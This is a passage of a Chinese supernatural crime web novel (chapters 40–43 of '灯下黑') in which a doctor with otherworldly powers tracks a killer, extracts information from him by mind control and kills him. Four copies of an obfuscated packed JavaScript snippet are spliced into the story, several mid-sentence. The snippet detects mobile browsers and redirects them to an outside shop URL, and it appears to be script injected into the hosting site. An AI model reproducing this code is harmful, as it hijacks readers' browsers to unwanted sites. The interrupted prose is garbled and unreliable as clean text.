“份量足足的，一起吃吧。”颜和恹恹地打了个哈欠，“这个现场很干净，那大爷第一眼还以为是有人喝醉了躺那儿，上去一摸才发现人都凉透了。” “那得有多大心理阴影啊？” 办公室的几人都开始往微波炉跟前凑。 小王敲敲自己的碗：“不不不，大爷心理素质可强了，我们到的时候人家正一脸眉飞色舞，跟其他人讲述他发现尸体的过程呢。” “吃饭吃饭，不提他们，我们自己手里还有个这么难搞的案子呢。”颜和说道，“今晚又是加班的架势，赶紧弄完……” “赶紧弄完，明天就可以去走访了。”小王露出一个皮笑肉不笑的表情，插嘴道，“工作是干不完的，我好想退休。” “颜和！你别光吃不说话，给我留点，求求你了！” …… “温女士，你这样我们的工作很难开展啊。”温南对面的两个警察十分头疼地对视一眼。 “我说了我真的不知道！我跟他都没见到面！你们不相信去调监控啊！”温南看上去很崩溃，不过她心知肚明，不光巷子里没监控，回去一路上只要是她能看见的探头，都用异能躲开了。 温南知道什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12306948|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没拍到会很可疑，但她没有别的办法。 “时间我真的没看，谁没事做会掏手机看时间啊，我到家的时候两点二十，真没骗人！” 关于时间的问题，温南确实没有撒谎，当时她已经紧张地不行，哪还想的起来要看时间。 “凌晨两点，你们为什么会约到这么偏僻的地方见面？” “我已经说了好几遍了，地方是他定的，过去看到巷子又窄又黑我就走了，这地方我又没来过，要是提前知道这么偏僻，我绝对不会来的！”温南用力敲着桌子，“谁知道他安的什么心！死了活该！” 这一句话非常的真情实感，温南怀疑刘迪约她出来就是为了杀她，什么“邀请你加入我们”，全都是幌子！ 但她不能将这些说出来，现在除了自己，谁都不可信。 其中一个警员看了眼时间，表情凝重得很，温南跟他们耗的时间有点久了，最麻烦的是，除了两人凌晨相约，并确定各自赴约之外，外头的工作人员尚未发现其他证据。 监控只拍到了温南往巷子那边去的身影，但夏天衣物都比较轻薄，她并没有携带任何凶器，更何况一刀砍下一个成年男性的脑袋，对于一个常年呆在办公室还没有健身习惯的白领来说，实在是天方夜谭。 但是他们询问的几个对象里，只有她既跟死者有联系，又约了见面，至于有没有真的见到，现在还没有证据可以定论。 他们必须要放人了，但在此之前…… “温女士，你先冷静一下，我们只是正常跟你了解情况，并没有其他意思，但是你自己想想，你是不是有所隐瞒，你们两人约见的原因你也一直不说，你这样我们工作很难开展的。” “这是私事，反正他的死跟我没关系。” “这样温女士，你今天先回去好好休息，不过近期请不要离开蓝湾，我们之后也许会联系你提供其他线索。” “……我知道了。”温南点头。 没关系的，人确实不是她杀的，她只要咬死这一点就行。 “感谢吴先生配合，你提供的信息真的很有帮助！” “没有没有，应该的。” 温南刚刚走出房间没几步，隔壁屋子的门也跟着打开了，原本等在门外的中年人立刻站起身迎了上去。 “没有其他事那我就先走了？”那位吴先生状似不经意看了一眼温南的背影，开口问道。 “行，那我就不送了，还请路上小心。” “你们工作辛苦了，之后有需要务必联系我。” 此时外面的太阳已经开始落山，但空气依旧热哄哄的，司机照旧撑起了伞。 吴起的目光落在了大门外，年轻女性刚刚乘上的车辆缓缓驶离。 “安排人查查那个女人的信息，尽快发给我。” “好的，吴老大。” 吴起坐进车里，莫名冷笑了一声。他倒是没想到，刘迪那小子临死还阴了自己一把，害他浪费大半天来应付警方，不过这点小事都能阴沟翻船，死了也是活该。 思及此，他原本升起的那一点兴趣突然消散。 “不用了，查到的信息发给那个章平吧，让他把刘迪的烂摊子收拾干净再来找我。” 40. 灯下黑（40） 紧接着的两天出奇平静，简初在工作之余，全面而仔细地回顾了这一月内的所有新闻。 近期的暴力伤人事件确实频频发生，但它们之间似乎没有什么明显的关联，而且几乎都是在公共场合、众目睽睽之下发生的，没有出现什么超自然现象。 不能轻易地下定论，简初告诫自己。 此刻正是清晨，简初翻着手机走进医院的电梯，她正在看今天早上的新闻，隔了近三天，蓝湾总队终于发了案件通报，一起是刘迪，另一起死者身份不明，并不是本地人，正在寻找亲属。 通报中并没有详细描述，只写明了案发地点和发现时间，并广泛征集相关线索，帮助案件重大突破可获得高额奖金。 虽然官方通报今天才发，但在社区论坛上早就有了传言。这种古早论坛看的人不多，却传的千奇百怪，情杀仇杀啥都有，不过有一个贴子描述得挺靠谱，被简初提前截了下来，这会一看果不其然已经被锁了。 作为“当事人”，简初能看出对方把刘迪死亡现场的情况说了个八九不离十，因此对于贴子中有关另一起案件的描述，她暂且当做真实情况来看待。 没有明显外伤，疑似抛尸而并非第一案发现场，不过帖子中并没有说明原因。 “简医生早啊，今天怎么来得……啊！” 电梯门打开，一个年轻的护士走了进来，她朝气蓬勃，看上去还没有被工作摧残很久，一见到人，她就笑呵呵地打起了招呼，却不料这一打岔，直接被电梯门缝绊倒。 “小心！” 简初连忙伸出一只手托住筐底，这一下不仅稳住了快被掀翻的筐子，连差点直接磕到电梯墙壁上的护士都被硬生生扶住了。 “哇，谢谢谢谢，谢谢简医生。”她赶紧把筐子紧紧抱住。 “没关系，进出电梯要小心点，这边容易绊倒。”简初回过神，朝她说道。 明明大脑还没有反应过来，但是身体却先一步动了，这是在星际世界的体术训练带来的影响吗，感觉倒也不算坏。 简初来到自己的办公室，像往常一样，先看了眼预约看诊的病人名单，不多不少，看来可以准时下班。 等等？ 她滚动鼠标的手停了下来，光标落在一个熟悉的名字上。 …… “请温南进入3号诊室就诊，请温南进入3号诊室就诊。” 温南有些忐忑地走进诊室，待看清面前医生年轻的脸时，她更加错愕了。 “抱歉，我是不是走错……” “温南？”听见面前医生的话，她下意识点了点头，紧接着就听见对方再次开口。 “把门关上吧，没走错，你挂的我的号。” “说说吧，最近是感觉哪里不舒服？”简初像对待一位陌生病人一样，开口问道。 “啊……是这样的医生，我最近经常头疼，上班的时候也会走神，有时候别人找我说话，我听着听着就会开始发呆，回过神来大脑一片空白。”温南思索着说道。 “还有其他的吗，什么时候开始出现这种问题的？”简初记下情况，继续问道，但这一次她没有听到回答。 她皱眉抬头，却发现温南此刻的眼神失了焦距，但就在这几秒内，对方的目光重新变得有神，开口回答她此前的问题。 “应该就这些了，最近脑子不灵光，反应比较迟钝，大概是从三四天前开始的。” 这个时间点很凑巧，要不是同事提醒温南去看医生，她只把这些症状当做那一夜之后过度焦虑，而带来的神经衰弱。 “我觉得可能是有点神经衰弱。”连温南自己也是这么认为的，不过她最近状态确实不好，索性借这个机会请个假。 简初定定看了她两秒，重新低下头：“神经衰弱应该挂内科。” 温南尴尬地笑了笑，开口解释道：“我都挂了，神经内科抢的明天的号。” “……”简初看起来有些无语，不过还是耐心开口，“如果你想都看看，我这边就按照外科继续给你看，毕竟要是脑子里长了东西，有时候也会出现类似的症状。” 没等温南反应，她继续询问情况：“你最近睡眠怎么样，家里有脑瘤史或者精神病史吗？最近有没有磕到脑袋？” “呃，睡眠还行吧，据我所知家里没有人过得脑瘤，磕到脑袋……我也不太确定，大概是有吧？” “什么叫大概，你过来，我摸一下你脑袋。”简初面色平静地开口，温南有没有磕到脑袋她当然很清楚，那天晚上对方啪叽一声倒地上，还是她的杰作。 不过她摸对方脑袋并不是因为这个，而是……这个症状听上去很像精神力紊乱综合征。 这个世界连异能者都已经出现了，有精神力也是一件很合理的事情，毕竟没有被发现，并不代表它不存在。 不知道为什么，明明面前的医生看起来和自己差不多年纪，但是温南莫名有些害怕对方，她乖乖搬起凳子往前挪了挪，方便医生摸自己的脑袋。 “放松一点，紧张就闭上眼睛。” 出于对医生的信任，温南还没来得及细想为什么摸脑袋要闭眼，身体就抢先一步做出反应。 简初刚刚碰到温南的后脑勺，精神力就迅速钻了进去，来到她无比熟悉的精神空间。 温南的精神核心散发着暖色的光，将整个空间映照得亮晶晶的，精神力先是轻车熟路地沿着边界溜达了一圈，没有发现像莫景一样的情况，才又回到了核心周围。 还算稳定，看起来没什么问题，接下来是…… 精神力终于将核心完美地包裹起来，同时也触碰到位于其背面的一道裂痕。 简初心下一沉。 精神核心出现不规则裂痕，暴露出内部盘根错节的脉络。 非常典型的特征，确诊没跑了，不过裂痕不大，再结合温南的症状，应该处于早期。 “医生，我没事吧？”温南感觉到放在自己头上的手移开，下意识睁开眼就看到对面医生有些凝重的表情，她原本还算平静的心立刻扑通扑通地跳起来。 “医生你跟我说，我能挺住。” 简初瞥她一眼，思索了一会开口道：“问题不大，你一个人来的吗？钱够吗？买医疗保险了吗？” “啊？一个人来的，钱这……我不知道，不过我有套房，卖了应该还能值不少，保险买了的。”温南大脑一片空白，木愣愣回答致命三连。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12331572|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道真的是什么恶疾？ 简初无语地白了她一眼：“行，有钱有保险，我就你开个更仔细的检查，贵一点，喏，这几个去做一下，等片子出了来复诊。” 她向温南递过去一张单子，以及一个手写盖章的小纸条。 “这是检查单子，照着上面一项一项做，复诊的时候把纸条交到外面服务台的护士。” “一个个成天的，脑子里都在想些什么，上来就要卖房子。” 温南接过这一叠，就听见医生小声念叨着，她眼神心虚一瞟，看见旁边墙上的锦旗里有一张特别打眼。 字很大，看起来金光闪闪，上书“妙手回春，保我住房”。 她低头看看手里的缴费单子，算来算去也没超过四位数。 所以应该是不用卖房子的吧？ …… “请章平进入3号诊室就诊，请章平进入3号诊室就诊。” 温南还没来得及离开，外头就有一个男人急匆匆地推开门冲进来，两人在门口撞在一起，温南捏在手里的各种单子顿时散落一地。 “不好意思不好意思，我太着急了！我帮你捡！”没等温南开口拒绝，男人就急忙蹲在地上，迅速把单子拢在一起，蹭了一手灰都丝毫不在意，仿佛地上掉的是金子，生怕有人跟他抢。 “美女，真是不好意思啊，来给你，应该没少。” 章平长得还算人模人样，道歉态度也不错，温南没说什么，接过单子就离开了诊室，还顺手把门带上了。 “章平是吧？别看了，还记得是来看病的吗？”简初面无表情地开口。 温南身在其中看不出来，她作为旁观者，一眼就看出这男的是故意撞上去的。 看起来不像好人。 章平急匆匆地小跑过来坐下，径直开口：“医生我觉得很不舒服，能帮我多开几个检查吗？” 他似乎生怕简初不觉得他有问题，又继续强调：“和刚刚那位美女一样就行。” 简初看他一眼，信口开河：“她是恶性脑瘤，你也是？” “对对对……啊？什么？癌症吗？”男人脸上出现明显的空白，似乎没来得及从这个消息里反应过来。 简初面无表情：“最近有什么不舒服？” “我……我哪儿都不舒服，头疼，头疼得厉害，然后还经常想呕吐。” “看周围的东西会转动吗？” “会的！会的！医生你真是神医！” “现在看东西转吗？” “对对，转的！能快点帮我开一下检查吗？” 面前的医生“啪嗒”一下扔下笔，朝他冷笑一声：“眩晕发作你还能健步如飞，真厉害啊，你已经脱离普通人范畴了，不需要检查。” 章平头皮一麻，第一反应是她怎么知道自己不是普通人，第二反应才是这医生看出他在装病。 有一丝很淡薄的杀意，夹杂着莫名的恐慌，被简初敏锐地捕捉到，她的手微微顿了顿，快速思考自己是说了什么戳到了对方的点。 “这位异于常人的患者，你还有什么需求吗？” 简初看到对方的表情不受控制的僵了僵，微微眯起了眼。 41. 灯下黑（41） 电光石火之间，一个非常合理的猜想在简初大脑成型。 章平是异能者，并且他的目标是温南。 也许是组织安排的人，来接手刘迪没有完成的任务，但如果是这样，为什么系统的猎杀目标跳过他，指定了老吴。 简初的脑海里闪过什么，但是她没有来得及抓住。 “你要是执意想要做检查，我也可以帮你开，不过必须告诉你，这些检查做多了对身体也不好，不可以频繁做的。” 章平正想着怎么让医生松口，就听见这话，他喜出望外，连忙说道：“没事，我今年还没做过什么检查，这次就想着做细致一点。” 倒还没忘找补两句。 “行，你这儿签个字，然后拿单子去检查吧。” 简初看起来兴致缺缺，只想尽早把他弄完，好喊下一个患者。 不过直到章平满脸笑容拿着检查单离开，简初都没有喊下一位患者，而是拨通了内线。 “帮我转达一下医疗检查科，有一个叫温南的女性患者帮我重点关注，不需要安排插队，她一个人来的，情况还比较特殊，嗯，麻烦你了。” …… 稍微加了会班看完今天最后一个患者，简初迅速收拾完东西离开办公室。 “今天下午我拜托检查科的事，怎么说的？”她经过服务台，停下脚步。 “啊简医生，我刚准备给你打电话，那边检查才做完。”护士看起来吓了一跳，她放下手里的座机话筒，开口道，“那边说一切正常呢，单子检查医生顺便看了一眼，没发现什么严重的问题，你可以放心。” 护士以为她是关照自家亲戚，却听见简初问道：“嗯，有没有人和她搭讪啊？” 啊，这种关照，难道是那个患者父母拜托简医生的吗？ “这个他们没有讲呢，不过说温小姐一直看起来不太高兴，具体的医生也不方便问。”护士提醒她，“你可以联系她，检查刚做完，应该还没来得及离开。” 简初沉默两秒，朝她道过谢便离开了。 赶早不如赶巧，她刚刚进入地铁站，就看到不远处的两人。 “简医生！” 正值下班高峰期，拥挤的人潮里她刚和温南对上眼，就看见对方突然兴奋地举起手，看似熟络地跟她打了个招呼，接着艰难地挤了过来。 简初错开眼，从她旁边的章平身上掠过。 果然。 “好巧，又见面了。”见温南眼中露出恳求，简初开口道，她正愁怎么跟对方套近关系，章平简直是个完美的助攻。 男人在原地踌躇了几秒，紧接着也厚着脸皮凑过来。 “简医生你下班了，我在检查室那边遇到温小姐，想交流一下病情，不过她可能一直以为我是骗子。”他似乎指望简初帮忙解释两句。 “嗯，她没我懂，不放心可以跟我交流病情。” 笑话，温南现在可是她重点关注对象，当然要确保对方的安危。 至少她能确定，温南并不是组织一员。 “啊，哈哈，简医生真是有责任心呢。” 章平似乎放弃了，几人挤上地铁，他也没有凑上来，不过简初能感觉到对方的注意力还在这边。 “简医生，谢谢你了。”温南小声道谢，“在医院做检查的时候遇到他，就一直找我说话，他说要交流病情，我又不好意思骂他，说几句重话又赶不走。” 当然赶不走了，他就是冲你来的。 “你住在哪边，顺路的话我送你回去吧。”简初说道。 “不用不用，这会还早，路上这么多人他不敢做什么的。”温南连连拒绝。 “好，你注意安全。”简初并没有强求，以防温南察觉到不对，开始防备她就不好了。 一路无言，在距离温南住所最近的一站，简初抢先站起身来，温南愣了两秒，紧接着一脸惊奇地跟上。 “简医生，你也在这站下车啊！” “嗯？这么巧，这边不是有个很大的商超，我是打算去买点东西。”简初一脸惊讶地说道，她的余光瞥见章平也跟着下了地铁，一直远远地坠在后面。 她说的那家商超正好会经过温南居住的小区，也许是因为还处于比较有戒备心的时期，温南提前一个路口提出分别。 简初看着对方从绿灯的人行道经过，身影渐行渐远，阴魂不散的尾巴依旧跟在后面。她思索两秒，看着面前的红灯转绿，兜了一圈跟了上去。 条条大路通罗马，她只是换条路走罢了。 …… 章平远远看着前头的身影进入小区，不知道该不该再跟上去。 他这个人胆子不大，还有点信运气，今天做事一直都不太顺，感觉不是出手的好时机，但是因为那个医生打岔，自己在目标面前没留下好印象，后头更没法套近乎，只会更加警惕。 只能找个机会，出其不意解决对方。 今天不是个好日子，反正自己已经知道对方的住址，只要找个隐蔽的地方下手就行，趁这段时间正好可以在附近踩个点。 简初原本只是想远远跟着，看看对方今天到底要做什么，却没想到章平只是站在小区外头看了一眼，就立刻转过身，居然是准备离开的架势。 怎么，动手还要挑个良辰吉日吗？ 不得不说，某种程度上简初确实猜到了章平的想法，不过她并不想放过这个机会，毕竟她不是对方肚子里的蛔虫，谁知道他下一次出现会在什么时候、什么地方，她总不可能每天在温南楼下蹲点。 先套话，再动手。 简初瞬间就定下了此次行动的战略方针，主打一个能骗则骗。 “身体数据已存档。” 一颗小小的金属球漂浮在简初身边，她没有多余的精力来辨别监控点位，虽然有部分监控看上去已经坏了很久，但以防万一，她只能借助异能来统一屏蔽。 就算是临时起意，也得做好万全的准备。 …… 章平在四周转了一圈，有些头疼地揉揉脑袋，周边几乎都是居民区，配套设施比较齐全，难有隐蔽的地方。听说刘迪出事那次，吴老大还被警卫队的人找了，他可不想也走一遭。 他知道自己，在警察面前绝对无法保持镇定。 要不还是去之前的体育中心？但是怎么顺理成章把人带过去呢？ 高峰期过去了，道路上的人明显变少了，他正如此想着，突然有人凑近了他。 “章平，不要回头，进小区。”声音有点耳熟，他不受控制地僵了僵。 是谁？ “老吴让我来的，果然不出他所料，你办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12346510|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是一点都不利索。”听到老吴的名字，章平稍微松了口气，这个嘲讽的语气真是扎心，是吴老大的人没错了。 他脚下的步子变得轻快起来，这个小区没有门禁，年份也久了，看起来有些昏沉沉的，却让他感到莫名的安心。 终于走到一个植被茂密的无人角落，他回过头，看见这张熟悉的脸，惊呼声几乎要从嘴里跳出来，却被对方的眼神吓得憋回了肚子里。 “嗝——”章平打了个响亮的嗝。 简初：“……” 真出息啊。 “看样子今天不打算动手了？”简初淡淡开口。 “呃，今天不太适合，她对我有防备心，”章平说着，突然眼前一亮，“要不你去？我看她挺信任你的。” “呵，你到是会顺杆子爬，我是来监督你做事的，到头来事情我给办成了，那要你还有什么用。”简初冷笑一声，吓得章平又打了个嗝。 这人怎么比吴老大还可怕？ “你……您说得对，还不知道您是哪一位？” 简初瞥他一眼：“正事不干，别想着拍马屁，说说你的计划吧，我看看能不能帮上忙，当然，主要还是要靠你自己。” 听到对方询问自己计划时，章平其实是有一点怀疑的，但她提出要给自己帮忙，又让他打消了本就不多的疑虑。 “这周围人太多了，我打算还是在体育中心解决她，但是不知道怎么把她引过去。”他有些犹豫，章平自己也知道这听上去不像个好计划。 简初面上不动声色，心下却微微一惊，她有想过章平会是组织的人，但没想到这么巧，他就是体育中心那起案件的凶手。 “你都跟到这儿了，还想着去体育公园？”她开口道，“直接上楼，把对方弄了，楼道里又没有监控。” 章平顺着对方手指向的方向看去，树叶掩映间，隔壁楼道一览无余，里面确实没有监控。 “这……不太好吧，电梯里有监控呢。”章平说道，“虽然吴老大让我来收拾烂摊子，那也不能不管我的死活是不是。” 简初眯了眯眼，看来对方并不知道异能会干扰电子设备，怪不得行事如此小心。 “随你便吧，反正老吴这两天没空管你这边，你只要别想刘迪那个没脑子的，事干得一团糟还把他拉下水。” “不会的不会的，交给我绝对没问题。” 章平似乎觉得她跟老吴关系不错，眼珠转了一圈，试探着开口：“吴老大那边的事办得还顺利吗，等我这边事结束了，还能去帮帮忙？” 你的表情看上去可不像要帮忙的，简初心想，想占便宜的心思已经写在了脸上。 “别的我不敢想，就希望能跟着吴老大去见识见识，拓展一下交友圈嘛。” “怎么，你是想投到其他人麾下？”简初似笑非笑。 “不敢不敢！这话不能乱说，刘迪这不是没了吗，我想着新找个人打打配合，不然事情不好办，还得麻烦您来监督。”章平赔笑。 看来信任度刷得差不多了。 简初笑了一声，章平看向她的眼睛，表情渐渐变得空白。 “章平，我是老吴派来监督你的人，级别比你略高一筹，你遇到的问题我可以帮你解决。” “但我得先知道，你想跟着老吴去做什么。” 42. 灯下黑（42） 在简初的注视中，章平迷茫地眨眨眼睛，沉默两秒终于开口。 “我……只知道……他在准备一个……内部集会，具体的时间和地点……不清楚。”他顿了顿，继续抱怨道，“我只是个小喽啰，他怎么会邀请我，但要是你去说，指不定能成，不成也不会怪到我头上。” 简初无语咋舌，这人心里话倒是说得很顺畅。 她做出一副苦恼的表情，似乎在真心实意为对方想办法：“毕竟这是你的事，我去提怕是不好，不如这样，我们去找他当面聊聊，我正好也能帮你说说好话，可是这个时间，他会在哪儿呢？” 尽管简初很想直接问他你们组织叫什么，你还认识哪些人，但这种目的过于明确的问题保不齐会让【唱诗班】失效，她只能委婉地从其他角度来试探。 章平的表情看上去颇为意动，怂怂开口：“这……不好吧，你也不知道他在哪儿吗？” “他的行踪哪是我能掌握的，你呢？他一般跟你在哪儿见面？”简初装作不经意地问道。 “一般都是他给我个地址，每次都不一样。” 简初：“……” 怎么说呢，意料之外情理之中的答案。 “但是他最近很忙，估计不会……见我……而且……他……不让……联系……先……任务……” 章平好像突然想起了什么，脸上出现明显的挣扎，简初心道不妙，难道是她问到什么不该问的东西了？ 她可能这辈子都猜不到，是章平对老吴的畏惧，让他本能地逃避“主动联系对方”这件事，尤其是现在，他的任务还没有完成，上门简直就是讨打。 眼看章平随时都有脱离异能控制的可能，简初不再犹豫，直接了当问道：“你知道组织叫什么名字？” “叫……天……” 简初眸子亮了亮。 话音未落，章平瞬间住了嘴，他的脸上登时爬满惊恐：“你……你不是老吴的人？” 这跟徐灿华当时用起来完全不一样啊，异能也有货不对板的吗？！ “呵呵，我只是试探你一下，看看你会不会背叛我们，看来你的警惕性还是不错的。”简初又变成那副有些目中无人的样子。 章平脑中有些混乱，他还没捋清刚刚发生了什么，印象最深刻的就是对方问他组织叫什么名字，他晃晃脑袋，看见面前的女人把手伸到口袋里，脚下谨慎地往后挪了挪。 她要拿什么？ 他紧紧盯着女人的手，看着她掏出来了一个……手机？ “别紧张。”简初勾勾嘴角开口，“喏，你自己看，这是老吴的联系方式，需要我跟他打个电话确认一下吗？” 章平咽了咽口水，抻着脖子看了一眼，确实是老吴的手机号码没错，他的目光从手机挪到女人脸上，对方泰然自若的神态让他开始自我怀疑。 难道真是考验？ “那你……给他打个电话。”章平脑子终于有些转过弯来，他没事去联系老吴绝对会被骂得狗血淋头，但是这女人拨通电话的后果不仅与他无关，还能确认她的身份，他没有拒绝的理由。 “呵，你倒还挺小心。” 章平从对方的话里听出“你可真怂”，不过他跟刘迪那小子不一样，那家伙一点就着，他可没那么蠢。 章平看着对面的人把手机转过去，似乎准备按下通话键。 但就在这一瞬间，那女人突然抬眸朝自己看了一眼，章平的后背登时爬满鸡皮疙瘩。 那是什么？！ “唰！” 清脆的空气啸音炸起，惊惧之下章平瞪大眼睛，一根尖锐的箭簇闪着寒光，突然出现在他的眼前。 闪开！ 在他竭尽全力的闪避下，原本瞄准胸口的箭簇穿透了胳膊，章平紧紧捂住伤口，无比庆幸他还留有最后一丝警惕，否则现在已经可以去见上帝了。 他要收回之前觉得今天运气不好的想法。 这女人是彻底跟他撕破脸了，你不仁，休怪我不义。章平眼神突变，散发出阴狠来。 简初挑挑眉，正要抬腿向前拉进两人之间的距离，却感受到突如其来的冷意，她低下头，只见小腿上覆盖了一层薄薄的白霜，正以肉眼可见的速度缓缓向上攀爬，带来一阵阵深入骨髓的寒冷。 这是章平的异能？ 简初抬起头，章平此时正恶狠狠地看着她，他紧紧捂住被刺穿的手臂，献血顺着指缝淅淅沥沥地洒落在地上。 就这么几秒，冰霜迅速向上蔓延，已经来到简初的腹部，而它们刚刚所在的腿部除了微微发红，还有些凉之外，没有任何异常。 怪不得体育中心的死者没有任何外伤。 冰霜停驻在简初的胸口部位，她的心脏感受到不同寻常的寒冷，开始出现胸闷的症状，呼吸变得急促起来。 章平见状，表情明显轻松。 “你……可以想想遗言了。” 他脸上的耀武扬威和尚未消失的恐惧杂糅在一起，显得有些好笑，他又向后退了两步，完全进入了树冠的阴影下。 简初深吸了口气，右手抚上胸口，但掌心的温度只能温暖表皮，无法深入到真正寒冷的内部。 难搞，她又不能自己把胸口剖开取暖。 章平看着面前的女人朝他的方向走了两步，他不自觉咽了咽口水，又向后退去，直到靠上身后粗壮的树干。 没事，她撑不了多久……不过，身后的这个树干怎么软软的，还有弹性？ 正当章平这样想着，他突然感觉到身后的“树干”动了一下，好像往上长高了一点，哪怕他再迟钝，现在也反应过来，背后那东西恐怕不是树干。 寒气紧紧裹住心脏，简初已经感受到明显的心动过速，眼前出现黑矇，但她却忍不住去想，蓝湾总队发现那名受害人的死因后，可能一脸便秘地思考这究竟是怎么做到的。 思及此，简初居然没忍住笑了一声。 章平发现面前女人的的脸色已经变得很不好看，她嘴皮子开始发青，控制不住地颤抖，但却莫名露出一个让人毛骨悚然的笑容，仿佛从阴间历经千辛万苦爬上来的恶鬼，找到了害死她的罪魁祸首，即将开始报复。 简初被冻得咧了咧嘴，原本想要再从对方嘴里抠出点什么消息的念头彻底打消。 章平的这个异能还挺难缠的，前期无从躲避，一旦中招又很难挣脱，最快的方法就是在自己心脏骤停之前杀死对方，但身体的不适又会拖垮行动力。 很好的异能，使她眼馋。 小触手在男人左肩戳了一下，立刻缩到右边去，等待章平环视一周，接着跟他“友好地”打了个招呼。 “啊——” 一声凄厉的尖叫，还未完全发出，就被一团蓝黑油亮的东西紧紧捂住了嘴，简初现在可以确定，在这个世界小触手是有实体，可以被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12370275|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见的。 这是为什么？因为他们都是以精神体的状态穿越的，但自己有依存的实体而它没有？ 简初垂下眼，不去看章平被黑色触手紧紧缠住的身影，耳边传来咯吱咯吱的骨骼错位声，以及男人被捂住嘴的闷哼。 心脏处的寒冷逐渐消失，出现在了小触手上，不过那一小块对于它来说似乎没什么影响。 随着“噗通”一声，系统的播报准时到来。 “解锁能力【极寒领域】。” “极寒领域：你可以在极短的时间内，降低半径至多为十公分的球形空间内的气温，降温极限为五十摄氏度。” 小触手有些兴奋地在空中扑腾了两下，终于恋恋不舍地回了头。简初表情有些许凝重，不知道为什么，她总感觉小触手跟先前好像不太一样，但又说不清问题在哪里。 难道是因为看起来有些丑？简初侧过头，小触手亲昵地在她脸颊边蹭了蹭。 除了外形，看起来并没有什么特殊的地方。 心口的寒意消退得并不快，但好歹到了人体能够接受的温度，简初犹豫了两秒，选择读档身体数据。 原本的不适瞬间被驱散，她摸摸自己的胸口，再看向双手，并没有感受到任何副作用。 淹死的往往是会水的，也许系统只是不希望自己因为异能傍身，而选择激进冒险。 目光落在面朝下的章平身上，简初走上前，隔着衣服布料捏起刚刚掉落的手机，小触手心领神会地卷起尸体的胳膊，将他的手指按在了屏幕上。 简初草草翻阅一遍手机，接着拨通了老吴的电话。 …… “吴老大，邀请函都发得差不多了，有几位您吩咐过的，都留下由您亲自去送了。” “嗯。”吴起懒洋洋喝了一口手里的酒，他此时面色看起来比前几天好了很多，依旧长衣长裤裹得严严实实，不过包厢里空调开得足，倒也正常。 “那边……”他话还没说完，搁在桌上的手机就亮了起来，一边振动一边发出带感的音乐声，周围的人陡然一静，接着连音乐声都关掉了。 吴起拿起手机向外走去：“你们接着耍，我出去接电话。” 走廊里声音小了很多，吴起直接走进另一个无人的包间接起了电话。 “喂？事情办完了？” 今天喝了点酒，他有些上头，往常绝对不会这样贸然开口。可令吴起意外的是，对面并没有人回答，不知道是不是被酒精洗了脑，他又开口冲对面喊话。 “章平？说话！” 这句话出口没过两秒，他陡然从酒意中清醒过来，背后攀上一阵寒意：“你是谁？” 对面依旧没有人回答，只有什么东西砸落的声音，吴起面色泛青，迅速切断通话，将手机放到面前，似乎要将其盯出个窟窿。 要遭，他着了对方的道了。 …… 简初松开手，随手将手机抛回了尸体的手边，通话界面在她的眼皮子底下消失。 不知道是该说这个老吴太自信，还是太愚蠢，竟然就这么大剌剌地接了电话，简初能够清晰地听出对方声音中的醉意，只觉得天助我也。 只凭通话记录都够对方喝一壶的，不过她的目的并不在此。 接下来，她只要守株待兔就行了。 一阵夜风吹过，树叶发出簌簌的声响，浓密树冠下站立的身影消失不见。 43. 灯下黑（43） 今日的蓝湾总队气氛有些不同寻常。 平时虽然也是一副人来人往，忙得脚不沾地的模样，但今日的气氛明显低沉很多，工作人员都挂着十分严肃的表情。 “人联系到了吗？”张国栋嗦了一口咖啡，龇牙咧嘴地问道。 平时他喜欢喝茶叶，但特殊时期还是这苦味上头，直接给他一个激灵整清醒了。 “联系了，不过说今天没时间，明天来。”安如回答道。 章平是本地人，所以身份查起来很快，连带着他的社会关系也摸排地很迅速。 “这次任务重啊，大家都辛苦，回头办完了放假。”张国栋泰然自若地画起饼来，经过办公室门口的颜和听见，顿时停下脚步，扒着门框朝里头瞅。 “张大，你要不再说一遍，我给留个见证。” 说着她就要掏出手机，打开录音。 